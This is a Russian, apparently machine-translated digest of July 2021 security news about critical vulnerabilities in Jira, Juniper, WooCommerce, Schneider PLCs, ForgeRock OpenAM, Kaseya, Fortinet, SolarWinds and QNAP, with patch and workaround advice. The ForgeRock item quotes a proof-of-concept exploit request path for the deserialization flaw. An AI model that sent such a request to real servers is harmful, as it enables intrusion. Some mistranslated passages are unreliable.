Все 7.0.x, 7.1.x, 7.2.x, 7.3.x, 7.4.x, 7.5.x, 7.6.x, 7.7.x, 7.8.x, 7.9.x, 7.10.x, 7.11.x, 7.12.x, версии 7.13.x

Все версии 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x

Все версии 8.5.x до 8.5.16

Все версии 8.6.x, 8.7.x, 8.8.x, 8.9.x, 8.10.x, 8.11.x, 8.12.x

Все версии 8.13.x до 8.13.8

Все версии 8.14.x, 8.15.x, 8.16.x

Центр обработки данных Jira Service Management

Все версии 2.xx после 2.0.2

Все версии 3.xx

Все версии 4.0.x, 4.1.x, 4.2.x, 4.3.x, 4.4.x

Все версии 4.5.x до 4.5.16

Все версии 4.6.x, 4.7.x, 4.8.x, 4.9.x, 4.10.x, 4.11.x, 4.12.x

Все версии 4.13.x до 4.13.8

Все версии 4.14.x, 4.15.x, 4.16.x

В сообщении Atlassian говорится, что клиенты, которые загрузили и установили любые уязвимые версии, «должны немедленно обновить свои

установки, чтобы исправить эту уязвимость». При этом Atlassian также отметила, что «критический» рейтинг является его собственной оценкой и что заказчики «должны оценить его применимость к вашей собственной ИТ-среде».

Незатронутые версии

Вот список продуктов, на которые не распространяется дефект:

Атласское Облако

Jira Cloud

Облако управления услугами Jira

Экземпляры Jira Server (Core & Software) и Jira Service Management, не относящиеся к центрам обработки данных

Также клиенты, которые обновили Jira Data Center, Jira Core Data Center, Jira Software Data Center до версий 8.5.16, 8.13.8, 8.17.0 и / или Jira Service Management Data Center до версий 4.5.16, 4.13.8 или 4.17.0 отключены: они не нуждаются в обновлении.

Атласиан - атакующая кошачья мята

Некоторые из крупнейших предприятий с наиболее сложной разработкой продуктов используют продукты Atlassian. Среди более чем 65 000 пользователей Jira есть несколько больших поклонников, в том числе такие, как Apache Software Foundation, Cisco, Fedora Commons, Hibernate, Pfizer и Visa.

К сожалению, его популярность - особенно среди крупной рыбы - и его возможности делают его заманчивой целью для злоумышленников.

В июне исследователи обнаружили ошибки Atlassian, которые могли привести к захвату одним щелчком мыши: сценарий, который напомнил о возможности эксплойта, который был бы похож на атаку цепочки поставок SolarWinds, в которой злоумышленники использовали пароль по умолчанию в качестве пароля. открыть дверь в механизм обновления программного обеспечения.

Крис Морган, старший аналитик по анализу киберугроз в провайдере цифровых рисков Digital Shadows, сказал, что уязвимость, лежащая в основе рекомендаций в среду, является лишь последней в серии ошибок, с которыми сталкиваются платформы разработки программного обеспечения и управления, которые в случае использования могут привести к ряду пагубных последствий».

Хотя в настоящее время нет доказательств активной эксплуатации, мы можем ожидать, что попытки появятся в ближайшие один-три месяца, предсказал Морган. «CVE-2020-36239 может использоваться удаленно для выполнения произвольного кода и, вероятно, будет представлять большой интерес как для киберпреступников, так и для субъектов, связанных с национальными государствами», - сказал он. Он указал на несколько недавних атак на цепочки поставок, включая атаки на поставщиков программного обеспечения Accellion и Kaseya, которые использовали уязвимости для получения начального доступа и компрометации программных сборок, «которые, как известно, используются разнообразной клиентской базой».

Другие эксперты по безопасности согласились с оценкой Моргана. Эндрю Барратт, управляющий директор по решениям и расследованиям в консалтинговой компании Coalfire по кибербезопасности, сообщил Threatpost в четверг, что уязвимость, раскрытая Atlassian в среду, «показывает, что злоумышленники по-

прежнему стремятся использовать эффект масштаба и скомпрометировать несколько сторон, используя уязвимости единой платформы».

Ожидайте эксплуатации, в диких атаках

TL; DR: примените обновление как можно скорее или используйте обходные пути Atlassian, подчеркнул Морган.

Тем не менее, реальное влияние зависит от уязвимости API RMI, предположил Баррат. «Это может привести к целевым кампаниям, ориентированным на разработчиков (исторически имеющих много привилегий и полезных инструментов на своих машинах), которые затем стремятся удалить вредоносное ПО, которое использует уязвимости Atlassian для дальнейшего манипулирования разработкой продукта», - сказал он.

С оптимистической точки зрения, проблема может исчезнуть до того, как станет серьезной, учитывая, что Atlassian уже выпускает исправления и дает рекомендации по временным решениям, добавил Баррат. «Будем надеяться, что окно для того, чтобы это стало проблемой, будет минимальным - и некоторый последующий обзор систем для проверки индикаторов компрометации даст уверенность в том, что ничего серьезного не пошло не так».

Баррат считает, что больше всего беспокоит «возобновление внимания к потенциально золотой жиле возможностей». Хотя нацеливание на разработчиков не новость, сказал он, нацеливание на их инструменты, платформу и снижение потенциальной уверенности в продукте «показывает необходимость в инструментах оркестровки безопасности, которые могут помочь довести разнообразие проблемы до единого управления».

С технической стороны Шон Смит, директор по инфраструктуре поставщика безопасности приложений nVisium, заявил, что атаки на цепочки поставок являются хорошим аргументом против автоматического обновления зависимостей, но «это также означает, что группы безопасности должны эффективно отслеживать и управлять ими. и эффективно», - сказал он Threatpost по электронной почте в четверг…». ***(Lisa Vaas. Critical Jira Flaw in Atlassian Could Lead to RCE // Threatpost (https://threatpost.com/atlassian-critical-jira-flaw/168053/). 22.07.2021).***

***

«Критическая уязвимость удаленного выполнения кода в выпуске Steel-Belted Radius (SBR) Carrier Edition от Juniper Networks ставит открытые сети операторов беспроводной связи и фиксированные операторы связи для взлома.

Сервер SBR Carrier используется операторами связи для управления политиками доступа абонентов к их сетям - путем централизации аутентификации пользователей, предоставления соответствующего уровня доступа и обеспечения соответствия политикам безопасности. Это позволяет операторам связи предлагать дифференцированные уровни обслуживания, умножать свои модели доходов и управлять сетевыми ресурсами.

Ошибка (CVE-2021-0276) затрагивает SBR Carrier версий 8.4.1, 8.5.0 и 8.6.0, которые используют расширяемый протокол аутентификации. Juniper выпустила

патч в среду. По шкале серьезности уязвимости CVSS он получил 9,8 из 10 возможных.

Согласно рекомендациям Juniper, это уязвимость, связанная с переполнением буфера на основе стека, которую злоумышленник может использовать, отправляя на платформу специально созданные пакеты, что приводит к сбою демона RADIUS. Это может привести к RCE, а также к отказу в обслуживании (DoS), что помешает телефонным абонентам иметь сетевое соединение.

Ошибка - лишь одна из многих, которые сетевой гигант исправил на этой неделе в своих линейках продуктов для операторов и предприятий, включая несколько серьезных ошибок, которые могут быть использованы для проведения DoS-атак.

Вторая ошибка RCE / DoS

Один из них также может быть использован для RCE, сказал Juniper. Эта ошибка (CVE-2021-0277, рейтинг CVSS 8,8) представляет собой уязвимость чтения за пределами допустимого диапазона, поражающую ОС Junos (версии 12.3, 15.1, 17.3, 17.4, 18.1, 18.2, 18.3, 18.4, 19.1, 19.2, 19.3)., 19.4, 20.1, 20.2, 20.3 и 20.4) и Junos OS Evolved (все версии).

Junos OS и Junos OS Evolved - сетевые операционные системы, которые используются в корпоративных маршрутизаторах и коммутаторах Juniper. Первый работает на FreeBSD, а второй - на версии Linux.

Проблема существует при обработке специально созданных кадров LLDP демоном протокола управления уровня 2 (l2cpd). LLDP - это протокол, который сетевые устройства используют для широковещательной передачи своей личности, возможностей и соседей в локальной сети (обычно через проводной Ethernet).

«Продолжение приема и обработки этих кадров, отправленных из локального широковещательного домена, будет многократно приводить к сбою процесса l2cpd и поддерживать состояние DoS», - говорится в сообщении Juniper, опубликованном в четверг.

Помимо исправления, у этой ошибки есть несколько обходных путей. Например, пользователи могут настроить устройство так, чтобы он не загружал демон l2cpd. Однако, если он отключен, некоторые протоколы (RSTP, MSTP, VSTP, ERP, xSTP и ERP, среди других) не будут работать.

Второй вариант - настроить целевые интерфейсы на устройстве для отключения обработки пакетов LLDP. Или, согласно рекомендациям, для большинства коммутационных платформ можно реализовать фильтры пакетов через брандмауэр, чтобы отбрасывать пакеты LLDP с EtherType 0x88cc.

Наконец, чтобы снизить риск эксплуатации, пользователи могут внедрить внесистемные системы обнаружения вторжений и / или методы фильтрации межсетевого экрана. К ним относятся «запрет на полное распространение протокола LLDP EtherType на локальные сегменты или фильтрация пакетов LLDP с широковещательной адресацией или пакетов LLDP с одноадресной рассылкой, не исходящих из доверенных источников, нацеленных на доверенные места назначения», - пояснил поставщик». ***(Tara Seals. Critical Juniper Bug Allows DoS, RCE Against Carrier Networks // Threatpost (https://threatpost.com/critical-juniper-bug-dos-rce-carrier/167869/). 16.07.2021).***

***

«Исследователи обнаружили, что критическая уязвимость безопасности SQL-инъекции в платформе электронной коммерции WooCommerce и связанный с ней плагин подверглись атаке как ошибка нулевого дня.

Эксплуатация побудила WooCommerce выпустить аварийный патч для решения проблемы поздно вечером в среду. Ошибка может позволить кибератакам, не прошедшим проверку подлинности, уйти с огромным количеством информации из базы данных интернет-магазина - от данных клиентов и информации о платежных картах до учетных данных сотрудников.

WooCommerce, популярная платформа электронной коммерции с открытым исходным кодом для веб-сайтов, работающих на WordPress, установлена на более чем 5 миллионах веб-сайтов по всему миру. Он позволяет онлайн-продавцам создавать витрины с различными настраиваемыми параметрами, такими как типы принимаемых платежей, особенности доставки, расчет налога с продаж и т.д.

Связанный плагин, затронутый ошибкой, - это функция WooCommerce Blocks, которая установлена более чем на 200 000 сайтов. Это помогает продавцам отображать свои продукты на веб-страницах.

Об ошибке (ожидающая CVE) первоначально сообщил Джош Ледфорд из Ричмонда, штат Вирджиния, при содействии в координации раскрытия информации исследователь безопасности HackerOne Томас ДеВосс (dawgyg). ДеВосс сказал через Twitter, что ему удалось собрать работающий экспериментальный эксплойт, но он не будет раскрывать подробности ошибки до тех пор, пока у продавцов не появится время применить патч.

Таким образом, технические детали скудны, за исключением того факта, что он позволяет использовать SQL-инъекцию - тип атаки, который позволяет кибератакам вмешиваться в запросы, которые приложение делает к своей базе данных. Обычно это выполняется путем вставки вредоносных операторов SQL в поле ввода для выполнения.

Эксплуатация в дикой природе

Степень эксплуатации в дикой природе остается несколько неясной.

«Наше исследование в этой уязвимости и есть ли данные были скомпрометированы продолжается,» сказал Бо Lebens, глава инженерного для WooCommerce, в совещательный. «Мы будем делиться дополнительной информацией с владельцами сайтов о том, как исследовать эту уязвимость безопасности на их сайте… Если магазин был затронут, раскрытая информация будет относиться к тому, что хранится на этом сайте, но может включать информацию о заказе, клиенте и административную информацию. ”

По словам исследователей Wordfence, существует «крайне ограниченное количество доказательств попыток [эксплуатации], и вполне вероятно, что такие попытки были целенаправленно».

Тем не менее, один пользователь отметил в разделе комментариев информационного бюллетеня WooCommerce, что наблюдалась необычная активность.

«За несколько часов до вашего объявления и электронного письма на сайте, которым я управляю, произошел резкий скачок сетевого трафика, прежде чем он фактически заблокировал административный вход и представил различные странные сообщения», - сказал пользователь. «Когда я подключился по SSH к реальной среде, консоль сообщила, что с момента моего последнего входа в систему было 4 неудачных попытки входа в систему. Насколько я мог судить, явного вандализма не было, а IP-адреса неудачных пользователей были заблокированы. Это кажется слишком случайным».

Исследователи Wordfence предположили, что для криминалистического определения того, был ли сайт затронут, анализ файлов журналов может показать следующие признаки:

«Ищите большое количество повторяющихся запросов к / wp-json / wc / store / products / collection-data или? Rest_route = / wc / store / products / collection-data в ваших файлах журналов», - отметили они. «Строки запроса, содержащие% 2525, указывают на то, что эта уязвимость могла быть использована на вашем сайте».

Уязвимость затрагивает версии 3.3–5.5 плагина WooCommerce и плагина WooCommerce Blocks 2.5–5.5. Лебенс сказал, что компания создала исправление патча «для каждой уязвимой версии (более 90 выпусков), которая была автоматически развернута в уязвимых магазинах».

Однако это автоматическое развертывание не происходит мгновенно, и пользователи в разделе комментариев к совету сообщали, что не получали обновления по состоянию на полдень четверга, поэтому «мы призываем всех проверять и обновлять вручную, если это необходимо, на всякий случай», - сказал WooCommerce. Совет включает в себя таблицу, в которой перечислены все 90 исправленных версий.

«Владельцы магазинов, использующие более старые версии, могут обновиться до последней версии в своем филиале», - посоветовали исследователи Wordfence. «Например, если в вашем магазине используется WooCommerce версии 5.3, вы можете выполнить обновление до версии 5.3.1, чтобы минимизировать риск проблем с совместимостью».

WooCommerce также рекомендует сбросить административный пароль после обновления, чтобы обеспечить дополнительную защиту.

Пользователи с открытым исходным кодом платформы не привыкать к ошибкам безопасности: Прошлой осенью, неофициальный плагин для платформы, созданной независимым разработчиком Flycart (Дисконтные правил WooCommerce) исправлен два высокой степени тяжести Межсайтовый скриптинг недостатки, в процессе, который принял три укуса яблока, чтобы исправить это правильно». ***(Tara Seals. Zero-Day Attacks on Critical WooCommerce Bug Threaten Databases // Threatpost (https://threatpost.com/zero-day-attacks-woocommerce-databases/167846/). 15.07.2021).***

***

«Выявлена критическая уязвимость удаленного выполнения кода (RCE) в программируемых логических контроллерах (ПЛК) Schneider Electric, которая позволяет неаутентифицированным кибератакам получить контроль

на корневом уровне над ПЛК, используемыми в производстве, автоматизации зданий, здравоохранении и корпоративных средах.

По словам исследователей из Armis, обнаруживших ошибку, в случае использования злоумышленники могут повлиять на производственные линии, датчики и конвейерные ленты в заводских условиях, а также повлиять на устройства, знакомые повседневному потребителю, такие как лифты, системы отопления, вентиляции и кондиционирования и другие автоматизированные устройства.

Уязвимость (CVE-2021-22779), использующая недокументированные команды в коде устройства, затрагивает Modicon M340, M580 и другие модели из серии Modicon, по словам Армиса, назвавшего ее «ModiPwn». Исследователи заявили, что технически это обход аутентификации путем спуфинга уязвимости, и он оценивается в 9,8 баллов из 10 по шкале оценки уязвимости CVSS, что делает его критическим. Это одна из множества ошибок, исправленных поставщиком во вторник.

По словам исследователей, любая атака будет начинаться с получения сетевого доступа к той же сети, к которой подключен целевой Modicon PLC, что является положительным смягчением последствий, поскольку дополнительный обязательный первый шаг усложняет успешное выполнение атакующего.

Однако, согласно анализу Армиса, опубликованному во вторник, «благодаря этому доступу злоумышленник может использовать недокументированные команды в протоколе UMAS и утечь определенный хэш из памяти устройства». UMAS - это проприетарный протокол, используемый для настройки и мониторинга ПЛК Schneider.

Исследователи добавили: «Используя этот хэш, злоумышленник может установить безопасное соединение между контроллером и его управляющей рабочей станцией, чтобы перенастроить контроллер с конфигурацией без пароля. Это позволит злоумышленнику злоупотреблять дополнительными недокументированными командами, которые приводят к удаленному выполнению кода - полному захвату устройства».

Затем этот захват можно использовать для установки вредоносного ПО на контроллер, изменения его работы и затем скрытия цепочек атак от рабочей станции, которая управляет контроллером, добавили они.

Патч недоступен

Schneider выпустил набор средств для устранения этой ошибки, но полного патча пока нет.

«Armis и Schneider Electric вместе работали над обеспечением надлежащих мер безопасности. Мы настоятельно призываем все затронутые организации принять меры сейчас», - сказал Бен Сери вместе с Армисом в заявлении. «Проблема с этими устаревшими устройствами, обнаруженными в средах OT, заключается в том, что исторически они развивались по незашифрованным протоколам. На устранение этих слабых базовых протоколов потребуется время. Между тем, организации, работающие в этих средах, должны убедиться, что у них есть возможность видеть эти устройства, чтобы видеть, где находятся их точки

воздействия. Это крайне важно для того, чтобы злоумышленники не могли контролировать свои системы или даже удерживать их с целью получения выкупа».

Множество патчей ICS от Шнайдера

«ModiPwn» - это лишь одна из дыр в безопасности, с которыми гигант ICS обратился во вторник. В целом, Schneider выпустила десятки новых исправлений и исправлений для различных недостатков во всем своем портфеле продуктов (большинство из них имеют средний или высокий уровень серьезности), а также обновления для многих других существующих рекомендаций.

Однако были выделены две другие критические ошибки: одна, исправленная поставщиком, - это CVE-2021-22772, которая имеет рейтинг CVSS 9,1 и влияет на платформу автоматизации энергосистем Easergy T200. Это происходит из-за отсутствия аутентификации для критических функций, что может позволить злоумышленникам выполнять несанкционированные операции.

Третья критическая проблема (CVE-2021-22707) существует в системе парковки EVlink для умного города и другом оборудовании. Он имеет рейтинг CVSS 9,4 и является результатом использования жестко заданных учетных данных. По словам Шнайдера, злоумышленники могут использовать его для отправки несанкционированных команд веб-серверу зарядной станции с правами администратора.

Исследователи заявили, что не было обнаружено никаких атак в реальных условиях, но подобные уязвимости в системах управления производством открывали дверь для соответствующих атак в прошлом. Triton вредоносных программ, например, был обнаружен в 2018 году ориентации системы TRICONEX безопасности Instrumented (SIS) от Schneider в нефтехимических заводов в Саудовской Аравии. SIS - это последняя линия автоматизированной защиты промышленных объектов, предназначенная для предотвращения отказов оборудования и катастрофических инцидентов, таких как взрывы или пожары.

Несколько других вредоносных программ также нацелены на физический процесс АСУ ТП, например, печально известный штамм Stuxnet, который использовался для срыва иранской ядерной программы, и вредоносное ПО Industroyer / Crash Override, которое вызвало отключение электроэнергии в Украине». ***(Tara Seals. Unpatched Critical RCE Bug Allows Industrial, Utility Takeovers // Threatpost (https://threatpost.com/unpatched-critical-rce-industrial-utility-takeovers/167751/). 13.07.2021).***

***

«Злоумышленники активно используют критическую уязвимость удаленного выполнения кода (RCE) до авторизации в популярной платформе управления доступом от компании ForgeRock, занимающейся управлением цифровой идентификацией.

Access Management, коммерческая платформа управления доступом, основана на платформе управления доступом с открытым исходным кодом OpenAM для веб-приложений. Платформа обеспечивает интерфейсные веб-приложения и настройки удаленного доступа на многих предприятиях.

В понедельник утром Агентство по кибербезопасности и безопасности инфраструктуры (CISA) предупредило, что уязвимость может позволить злоумышленникам выполнять команды в контексте текущего пользователя. Недостаток можно найти в версиях управления доступом ниже 7.0, работающих на Java 8. Это означает 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x и 6.5.3, а также более старые, неподдерживаемые. версии все сидящие утки.

Также в понедельник ForgeRock сообщил в обновленном сообщении по безопасности, что этот недостаток не влияет на Access Management 7 и выше. Это влияет только на часть клиентов ForgeRock, которые используют более старые версии продукта управления доступом компании.

Об эксплойте для критической уязвимости, лежащей в основе проблемы - CVE-2021-35464 - впервые сообщил Михаил Степанкин, исследователь компании по кибербезопасности PortSwigger, 29 июня. В своем отчете Степанкин объяснил, что создал новую Ysoserial цепочка гаджетов десериализации специально для эксплойта.

Как сообщает GitHub, Ysoserial - это проверенный инструмент для создания полезных нагрузок, использующих небезопасную десериализацию Java-объектов. Сериализация - это механизм преобразования состояния объекта в поток байтов. Десериализация, в свою очередь, является обратным процессом: это механизм, посредством которого поток байтов используется для воссоздания фактического объекта Java в памяти, используемого для сохранения объекта.

Через несколько часов после публикации Степанкина 29 июня ForgeRock выпустила обходной путь и рекомендации для своих клиентов, чтобы защитить их от уязвимости. 9 июля компания обновила свои рекомендации постоянным исправлением.

Что за Dinky PoC

В своем посте Степанкин резюмировал недостаток, так как RCE стал возможен «благодаря небезопасной десериализации Java в среде Jato, используемой OpenAM». Доказательство концепции (PoC) требует этого единственного запроса GET / POST для выполнения кода:

ПОЛУЧИТЬ /openam/oauth2/..;/ccversion/Version?jato.pageSession= <serialized_object>

Он сказал, что злоумышленник, создавший такой запрос, может отправить его на незащищенную удаленную конечную точку, чтобы выполнить RCE.

Исследователь обнаружил уязвимость, изучая уязвимости OAuth. OAuth - это открытый стандарт делегирования доступа, который обычно используется для входа в службы без ввода пароля с помощью статуса входа в другой доверенной службе или веб-сайте. Примеры включают «Войти через Google» или «Войти через Facebook», которые используют многие веб-сайты вместо того, чтобы просить посетителей создать новую учетную запись. Эти запросы «Войти» или «Войти» называются запросами согласия.

Год назад Microsoft предупредила, что во время пандемии на фоне повсеместной удаленной работы и увеличения использования приложений для совместной работы злоумышленники наращивали атаки на основе приложений, использующие OAuth 2.0.

С помощью нескольких скриптов Степанкин обнаружил все серверы, отвечающие на URI «/ well-known / openid-configuration», и проверил их конфигурацию. Он решил сосредоточиться на «по-настоящему серьезных» уязвимостях: поэтому он сосредоточился на системах, которые либо имеют открытый исходный код, либо доступны для загрузки и декомпиляции. «ForgeRock OpenAm была одной из таких систем, которую я обнаружил в рамках программы bug bounty», - написал он. «Мне показалось, что это чудовищное приложение Java Enterprise с огромной поверхностью для атак, поэтому я решил глубже изучить его».

Его выводы из борьбы с чудовищем Java:

Анализ исходного кода и локальное тестирование необходимы для обнаружения подобных проблем.

Цепочки гаджетов URLDNS и JRMPClient являются наиболее универсальными для тестирования десериализации в Java.

Даже в решениях, предназначенных для аутентификации, вы можете найти большую поверхность атаки, доступную без какой-либо аутентификации.

Инструментов автоматического анализа исходного кода недостаточно, если они не охватывают зависимости.

Скалы десериализации Java.

Патч доступен

В субботу ForgeRock обновил свои рекомендации, чтобы посоветовать пользователям незамедлительно принять меры, чтобы как можно скорее реализовать один из обходных путей или патч.

ForgeRock призвал пользователей применить обходной путь, который будет применяться «немедленно» для безопасных развертываний, отметив, что обходные пути подходят для всех версий, включая старые, неподдерживаемые.

Степанкин отметил, что уязвимость была исправлена в ForgeRock AM версии 7.0 «путем полного удаления конечной точки '/ ccvesion' вместе с другими устаревшими конечными точками, использующими Jato».

Он упомянул это большое «но»: «Фреймворк Jato не обновлялся в течение многих лет, поэтому все другие продукты, использующие его, могут быть затронуты».

Исследователь также отметил, что этот недостаток не влияет на экземпляры, работающие с Java версии 9 или новее, «поскольку для Jato требуются классы, которые были удалены в Java 9. Это одна из причин, по которым ForgeRock AM версий до 7, таких как 6.5, являются все еще работает на Java 8 », - продолжил он.

Патч или обходной путь

Пользователи, которые не могут установить патч, могут применить один из двух обходных путей, которые ForgeRock предоставил в своих рекомендациях.

CISA рекомендует следующие шаги для пользователей Access Management, чтобы защитить свои платформы от активных, продолжающихся эксплойтов:

Ознакомьтесь с рекомендациями по безопасности ForgeRock и предупреждениями Австралийского центра кибербезопасности;

Проверить наличие уязвимых экземпляров программного обеспечения для управления доступом (см. Оценка технического воздействия ForgeRock); и

Сделайте приоритетным развертывание обновления для Access Management версии 7 или срочно примените обходной путь.

Вкусные мишени

Маркус Хартвиг, менеджер по аналитике безопасности в компании Vectra, занимающейся кибербезопасностью, сказал Threatpost в понедельник, что платформы управления идентификацией и доступом (IAM), такие как OpenAM, «всегда являются целями для злоумышленников, поскольку они позволяют злоумышленникам получить доступ к нескольким приложениям, расположенным ниже по потоку, объединенным с решением».

Кроме того, Хартвиг сказал в электронном письме, «даже если у скомпрометированной учетной записи нет доступа к определенному приложению, многие решения IAM поддерживают создание новых учетных записей нижестоящих приложений с помощью таких протоколов, как SCIM, что позволяет злоумышленникам продолжать свои атаки».

Он сказал, что для организаций, использующих решения IAM для SSO в последующих приложениях, это «первостепенное значение», чтобы «отслеживать поведение учетных записей в своей среде для обнаружения атак, которые обходят превентивную безопасность, на которой сосредоточены решения Access Management»…». ***(Lisa Vaas. Critical RCE Vulnerability in ForgeRock OpenAM Under Active Attack // Threatpost (https://threatpost.com/critical-vulnerability-rce-forgerock-openam/167679/). 12.07.2021).***

***

«Исследователи безопасности предупреждают о трех новых уязвимостях нулевого дня в сервисе Kaseya Unitrend и советуют пользователям не открывать сервис в Интернете.

Kaseya Unitrends - это облачное корпоративное решение для резервного копирования и аварийного восстановления, которое предлагается как автономное решение или как надстройка для платформы удаленного управления Kaseya VSA.

На прошлой неделе Голландский институт раскрытия уязвимостей (DIVD) выпустил рекомендацию TLP: AMBER о трех незащищенных уязвимостях в продукте резервного копирования Kaseya Unitrends.

В то время как DIVD выпустил эту рекомендацию под обозначением TLP: AMBER, председатель DIVD Виктор Геверс сообщил BleepingComputer, что первоначально она была передана 68 правительственным CERT в рамках согласованного раскрытия информации.

Однако один из получателей загрузил его на аналитическую онлайн-платформу, где он стал общедоступным для тех, кто имел доступ к сервису.

«Два дня спустя Центр обмена информацией и анализа сообщил нам, что один из GovCERT направил электронное письмо в службу поддержки организации, работающую в финансовых службах этой страны», - сказал Геверс BleepingComputer.

«Сотрудник загрузил TLP: AMBER с меткой непосредственно на платформу онлайн-анализа и поделился своим содержанием со всеми участниками этой

платформы; поскольку у нас нет учетной записи на этой платформе, мы немедленно запросили удаление этого файла».

Уязвимости Kaseya Unitrend

Вчера DIVD выпустил публичное консультативное предупреждение о том, что уязвимости нулевого дня были обнаружены в версиях Kaseya Unitrends до 10.5.2 и не позволяют предоставлять сервис в Интернете.

«Не подвергать эту услугу или клиенты (работающие по умолчанию на портах 80, 443, 1743, 1745) непосредственно к Интернету, пока Kaseya не исправлен эти уязвимости,» читает DIVD - х совещательным.

Уязвимости, влияющие на службу резервного копирования Kaseya Unitrends, включают сочетание удаленного выполнения кода с проверкой подлинности, повышения привилегий с проверкой подлинности и удаленного выполнения кода без проверки подлинности на стороне клиента.

В отличие от нулевого дня Kaseya VSA, использованного в рамках атаки вымогателя REvil 2 июля, эти уязвимости труднее использовать.

Это связано с тем, что злоумышленнику потребуется действующий пользователь для удаленного выполнения кода или повышения привилегий в общедоступной службе Kaseya Unitrend. Более того, злоумышленникам уже необходимо проникнуть в клиентскую сеть, чтобы воспользоваться неаутентифицированным клиентским RCE.

DIVD обнаружил уязвимости 2 июля 2021 года и раскрыл их Касее 3 июля. 14 июля DIVD начал сканирование Интернета на предмет открытых экземпляров Kaseya Unitrend для выявления уязвимых систем.

DIVD попытается проинформировать владельцев уязвимых систем, чтобы они отключили их до выпуска патча.

Геверс сказал BleepingComputer, что количество уязвимых экземпляров невелико, но они были обнаружены в чувствительных отраслях.

BleepingComputer связался с Касеей, чтобы узнать, когда будет выпущен патч, но пока не получил ответа». ***(Lawrence Abrams. Researchers warn of unpatched Kaseya Unitrend backup vulnerabilities // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/researchers-warn-of-unpatched-kaseya-unitrend-backup-vulnerabilities/). 26.07.2021).***

***

«Fortinet выпустила обновления для своих решений для управления сетью FortiManager и FortiAnalyzer, чтобы исправить серьезную уязвимость, которая может быть использована для выполнения произвольного кода с наивысшими привилегиями.

И FortiManager, и FortiAnalyzer представляют собой решения для управления сетью корпоративного уровня для сред с количеством устройств до 100 000. Они доступны как физическое устройство, как виртуальная машина, в облаке или размещены на сервере Fortinet.

Организации могут использовать продукты для управления развертыванием и настройкой устройств в сети, а также для сбора и анализа созданных журналов для выявления и устранения угроз.

Доступны исправления и обходные пути

Fortinet опубликовала рекомендации по безопасности для этой проблемы, которая в настоящее время отслеживается как CVE-2021-32589, в которой говорится, что это уязвимость использования после освобождения (UAF) в демоне FortiManager и FortiAnalyzer fgfmsd.

Этот тип ошибки возникает, когда раздел памяти ошибочно помечен как свободный, а затем программа пытается его использовать, что приводит к сбою.

Однако Fortinet утверждает, что отправка специально созданного запроса на порт «FGFM» целевого устройства «может позволить удаленному злоумышленнику, не прошедшему проверку подлинности, выполнить неавторизованный код от имени пользователя root».

Компания подчеркивает, что FGFM по умолчанию отключен в FortiAnalyzer и может быть включен только на некоторых моделях оборудования: 1000D, 1000E, 2000E, 3000D, 3000E, 3000F, 3500E, 3500F, 3700F, 3900E…

Если обновление невозможно, одним из способов решения проблемы является отключение функций FortiManager на модуле FortiAnalyzer с помощью следующей команды:

config system global

set fmg-status disable

Заслуживает внимания Сирилла Чатраса, реверс-инженера и пентестера из группы Orange, за обнаружение уязвимости и ответственного сообщения о ней в продуктах Nokia, Juniper, Red Hat и Android с открытым исходным кодом [1, 2, 3]., 4].

CISA также опубликовала рекомендации, побуждающие пользователей и администраторов просматривать информацию об уязвимостях от Fortinet и применять обновления». ***(Ionut Ilascu. Fortinet fixes bug letting unauthenticated hackers run code as root // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/fortinet-fixes-bug-letting-unauthenticated-hackers-run-code-as-root/). 20.07.2021).***

***

«SolarWinds призывает клиентов исправить уязвимость удаленного выполнения кода Serv-U, которая используется «одним злоумышленником» в атаках, нацеленных на ограниченное количество клиентов.

«Microsoft предоставила доказательства ограниченного целевого воздействия на клиентов, хотя SolarWinds в настоящее время не имеет оценки того, сколько клиентов может быть напрямую затронуто уязвимостью», - говорится в сообщении компании, опубликованном в пятницу.

«Насколько нам известно, никакие другие продукты SolarWinds не были затронуты этой уязвимостью. [..] SolarWinds не знает личности потенциально затронутых клиентов».

Влияет только на серверы с включенным SSH

Нулевого дня уязвимости (отслеживаются как CVE-2021-35211) воздействий Serv-U Управляемый File Transfer и Serv-U Secure FTP, и это позволяет удаленным

актерам угрозы выполнить произвольный код с привилегиями после успешной эксплуатации.

Согласно SolarWinds, «если в среде не включен SSH, уязвимости не существует».

Ошибка, обнаруженная Microsoft Threat Intelligence Center (MSTIC) и группами Microsoft Offensive Security Research в последней версии Serv-U 15.2.3 HF1, выпущенной в мае 2021 года, также затрагивает все предыдущие версии.

SolarWinds устранила уязвимость системы безопасности, о которой сообщила Microsoft, выпустив исправление Serv-U версии 15.2.3 (HF) 2…

Компания добавила, что CVE-2021-35211 не влияет на все другие продукты SolarWinds и N -able (включая модули Orion Platform и Orion Platform).

«SolarWinds выпустила исправление в пятницу, 9 июля 2021 г., и мы рекомендуем всем клиентам, использующим Serv-U, немедленно установить это исправление для защиты своей среды», - предупредила американская компания-разработчик программного обеспечения.

SolarWinds предоставляет дополнительную информацию о том, как определить, была ли ваша среда скомпрометирована во время атак, о которых сообщила Microsoft.

Клиенты также могут запросить дополнительную информацию, открыв заявку в службу поддержки с темой «Serv-U Assistance»…». ***(Sergiu Gatlan. SolarWinds patches critical Serv-U vulnerability exploited in the wild // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/solarwinds-patches-critical-serv-u-vulnerability-exploited-in-the-wild/). 12.07.2021).***

***

«Тайваньский производитель сетевых хранилищ (NAS) QNAP устранил критическую уязвимость системы безопасности, позволяющую злоумышленникам поставить под угрозу безопасность уязвимых устройств NAS.

Ненадлежащий контроль доступа уязвимость отслеживаются как CVE-2021-28809 был найден Та-Лунь иен TXOne ВГД / ICS Security Research Labs в HBS 3 Hybrid резервного копирования синхронизации, QNAP в аварийное восстановление и резервное копирование данных решений.

Проблема безопасности вызвана ошибочным программным обеспечением, которое неправильно ограничивает злоумышленникам доступ к системным ресурсам, позволяя им повышать привилегии, удаленно выполнять команды или читать конфиденциальную информацию без авторизации.

QNAP сообщает, что недостаток безопасности уже исправлен в следующих версиях HBS, и рекомендует клиентам обновить приложение до последней выпущенной версии:

QTS 4.3.6: HBS 3 v3.0.210507 и новее

QTS 4.3.4: HBS 3 v3.0.210506 и новее

QTS 4.3.3: HBS 3 v3.0.210506 и новее

Чтобы обновить HBS на вашем устройстве NAS, вы должны войти в QTS или QuTS hero как администратор, найти «HBS 3 Hybrid Backup Sync» в Центре

приложений, а затем нажать « Обновить» и « ОК», чтобы обновить приложение (параметр «Обновить» не работает. будет доступен, если HBS уже обновлен.)

